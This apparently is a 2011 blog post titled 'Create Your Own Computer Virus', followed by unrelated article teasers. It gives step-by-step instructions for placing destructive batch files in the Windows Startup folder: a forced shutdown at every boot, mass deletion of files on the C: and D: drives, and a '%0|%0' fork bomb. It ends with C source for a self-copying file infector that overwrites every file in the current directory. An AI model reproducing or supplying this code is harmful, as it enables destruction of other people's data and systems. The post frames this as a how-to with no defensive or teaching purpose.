Tech Magazine

Create Your Own Computer Virus(use It on Your Computer)

Posted on the 27 July 2011 by Techsea360 @techsea360

Create your own Computer virus(use it on your computer)Basic computer viruses are very advance and they can infect computer's boot sectors some can damage computer's RAM and CPU.But here we will create a basic batch file .
STEP1: Open Notepad.
STEP2: Write the following code precisely
         
             cd\
            shutdown -s -t 60

STEP3: Now save the file as "filename.BAT".Remember to save it inside the double quotation otherwise         notepad will append a .txt after the file name and it will not be a batch file.

STEP4: Now go to the file and copy the file.And now open start then Programs and files then startup and double click it.Then pest a shortcut of the file there and close it.
That's it you are done!!!
Next time the user starts the Window it will be shutdown automatically. 
**********************************************************************************
Now you can create a virus that delete all the file in a specific directory or format the entire drive.To do that follow the steps.
STEP1: Open Notepad
STEP2: Write the following code precisely.
               @Echo off
               Del C:\ *.*|y
               Del D:\*.*|y
STEP3: Now save the file as "filename.BAT".Remember to save it inside the double quotation otherwise         notepad will append a .txt after the file name and it will not be a batch file.
STEP4: Now go to the file and copy the file.And now open start then Programs and files then startup and double click it.Then pest a shortcut of the file there and close it.**********************************************************************************
This is the most deadliest batch virus i ever tested on my computer.IT HANGED MY 2.84GHz DUAL-CORE 2GB RAM. 
Create your own Computer virus(use it on your computer)STEP1: Open Notepad
STEP2: Write the following code precisely.
               @echo off
               %0|%0
STEP3: Now save the file as "filename.BAT".Remember to save it inside the double quotation otherwise         notepad will append a .txt after the file name and it will not be a batch file.
STEP4: Now go to the file and copy the file.And now open start then Programs and files then startup and double click it.Then pest a shortcut of the file there and close it.
**********************************************************************************
This one i found out and working like a magic.Actually it is a true example of virus that is self replicating.Note:Compile it it in TC++ Dev c++ will give error.

#include<stdio.h>

#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst("*.*",&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],"rb");
host=fopen(ffblk.ff_name,"rb+");
if(host==NULL) goto next;
x=89088;
printf("Infecting %s\n",ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf("DONE! (Total Files Infected= %d)",a);
end=clock();
printf("TIME TAKEN=%f SEC\n",
(end-st)/CLK_TCK);
getch();
}
**********************************************************************************

You Might Also Like :

Back to Featured Articles on Logo Paperblog

These articles might interest you :

  • Big Food Giants Manipulate Public Health Policy in China

    Food Giants Manipulate Public Health Policy China

    Coca-Cola is at it again. As soda sales decline in the United States and Europe, beverage companies look to emerging economies like China for growth. And, it... Read more

    The 15 January 2019 by   Dietdoctor
    DIET & WEIGHT, HEALTH, HEALTHY LIVING, MEDICINE
  • Jewellery for a Precious You

    Jewellery Precious

    Jewellery is always close to a woman’s heart. It completes her look and boost confidence. Considering the changing trends in jewellery fashion, it becomes... Read more

    The 15 January 2019 by   Dr.jenifer Sayyed
    LIFESTYLE
  • Rajshri Productions’ Next Is A Film On Friendship | Hum Chaar | Trailer

    Abhishek Dixit’s debut feature film Hum Chaar is a Bollywood film made under the banner of Rajshri’s film. Hum Chaar is written and directed by Abhishek Dixit. Read more

    The 15 January 2019 by   Themoviean
    ENTERTAINMENT, MOVIES
  • Saint Paul the First Hermit

    Saint Paul First Hermit

    Today is the feast day of Saint Paul the hermit. This is a sweet and delicate Oatmeal Bread topped with rolled oats and naturally sweetened with agave. Saint... Read more

    The 15 January 2019 by   Veronica46
    FOOD & DRINK, RECIPES
  • Irupathiyonnaam Noottaandu | Teaser | Pranav Mohanlal | Arun Gopy

    Arun Gopy’s Irupathiyonnaam Noottaandu is an upcoming Malayalam action-drama feature film starring Pranav Mohanlal and Zaya David in the lead roles. Read more

    The 15 January 2019 by   Themoviean
    ENTERTAINMENT, MOVIES
  • A Year Of Body Positivity

    Year Body Positivity

    Last January, as I sat there on New Years eve all set to make the same old resolutions I've made year after year for as long as I can remember, I realised how... Read more

    The 15 January 2019 by   Sparklesandstretchmarks
    DIARIES, SELF EXPRESSION
  • Garden Bloggers Bloom Day – Jan 2019

    Garden Bloggers Bloom 2019

    Euphorbia rigidaWhen I went out to take the photos for this blog post I was surprised at how much was in flower dotted around the garden. Read more

    The 15 January 2019 by   Patientgardener
    GARDENING, HOME

Magazine